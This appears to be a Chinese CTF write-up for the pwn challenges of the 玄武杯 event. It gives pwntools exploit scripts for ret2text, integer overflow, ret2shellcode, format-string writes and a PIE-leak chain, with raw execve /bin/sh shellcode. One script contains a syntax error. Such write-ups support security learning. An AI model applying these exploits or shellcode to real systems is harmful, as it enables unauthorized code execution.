玄武杯WP-Pwn

▼

ret2text 64

简单的ret2text，找到后门函数hint即可

```
from pwn import *

p = process('./pwn')
context(arch='amd64', os='linux')

offset = 56

backdoor_addr = 0x000000000040136F

# 构造payload
payload = b'A' * offset                 # 填充
payload += p64(backdoor_addr+8)   #栈对齐        # 覆盖返回地址


print("发送payload中...")
p.sendline(payload)

print("切换到交互模式...")
p.interactive()
```

Integer_Overflow

查看程序逻辑，直接输入-1或者`4294967295`（在计算机中存储的值是一样的）就可以getshell

```
from pwn import *

#p = process('./pwn')

p = remote('node10.anna.nssctf.cn',27136)

p.recvuntil(b"enter a number.")

# 输入 4294967295 (无符号的 -1)
payload = str(0xFFFFFFFF).encode()  # 或者直接 -1

p.sendline(payload)

p.interactive()
```

执行scanf 输入-1后的值

ret2shellcode

有趣的shellcode呀

```
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn')
# p = remote('node10.anna.nssctf.cn', 27954)

p.recvuntil(b'buf @ ')
stack_addr = int(p.recvline().strip(), 16)
log.info(f"Stack address: {hex(stack_addr)}")
```

```
# 使用经典的24字节shellcode，确保完全在缓冲区中
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53
\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

log.info(f"Shellcode length: {len(shellcode)}")

# 构造payload，确保shellcode不被覆盖
payload = shellcode
payload = payload.ljust(72, b'\x90')  # 用NOP填充剩余空间
payload += p64(stack_addr)            # 返回到shellcode开头

log.info(f"Total payload length: {len(payload)}")

p.sendline(payload)
p.interactive()
```

FMT

需要正确控制target的值，找到格式化字符串在栈上偏移后覆盖内存可以做到

```
from pwn import *
p= process('/pwn')
context(os='linux',arch='amd64',log_level='debug')
target_addr= 0x000000000040408C

p.recvuntil(b'Input your message:')
payload= fmtstr(6,target_addr:0x6)
p.sendline(payload)
p.interactive()
```

are you lucky

正确输入用户名和密码进入菜单，game()泄露地址实现PIE绕过，edit（）格式化字符串可以修改target的值，root（）可以执行shellcode

不过发现edit可以直接打印出栈上数据，所以可以不用完成game的伪随机问题

```
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p= remote('node10.anna.nssctf.cn',29531)
p=process('./pwn')
#gdb.attach(p)
setoff_main= 0x1127

###login###
username="user_name"
password= "MTE0NTE0"
p.recvuntil(b'username')
p.sendline(username)
p.recvuntil(b'password')
p.sendline(password)
######
###PIE###
p.recvuntil(b'Enter your choice >>')
p.sendline(b'1')
p.recvuntil(b'enter your new name')
p.sendline(b'%18$p')
p.recvuntil(b"Okay, your new name is\n")
leaked_addr = int(p.recvline().strip(), 16)
log.info(f"泄露的地址: {hex(leaked_addr)}")
main_addr= leaked_addr-0x40a0                #本题泄露出的地址偏移是40a0
log.info(f"main的地址: {hex(main_addr)}")
p.recvuntil(b'Please enter your new password')

p.sendline(b'asd')
######
###fmt###
fmt_setoff= 20
target_addr=main_addr+0x00000000000040CC
log.info(f"target的地址: {hex(target_addr)}")
payload = fmtstr_payload(20,{target_addr:0x2918})
```

```
p.recvuntil(b'Enter your choice >>')
p.sendline(b'1')
p.recvuntil(b'enter your new name')
p.sendline(payload)
p.recvuntil(b'Please enter your new password')
p.sendline(b'asd')
### 进入root并发送shellcode ###
p.recvuntil(b'Enter your choice >>')
p.sendline(b'3')  # 进入root
p.recvuntil(b'access')
#p.sendline(b'\0')
p.send(b"/bin/sh\0")  # 发送/bin/sh
# 等待root函数的欢迎信息
p.recvuntil(b"start your performance")

shellcode = asm('''
    lea rdi, [rsp+0x18]    # 指向/bin/sh字符串
    xor esi, esi       # argv = NULL
    push 0x3b
    pop rax            # execve系统调用
    cdq              # RDX = 0 (比xor edx, edx短)
    syscall
''')[:15]
log.info(f"发送shellcode: {shellcode.hex()} (长度: {len(shellcode)})")
p.send(shellcode)
# 获取shell
p.interactive()
```

据说是环境问题，栈上有些数据不可控，泄露出的地址偏移和本地不一样，但pie开启后低12位不变，main的基地址一般都是000结尾，所以偏移从x0a0慢慢猜就能猜出来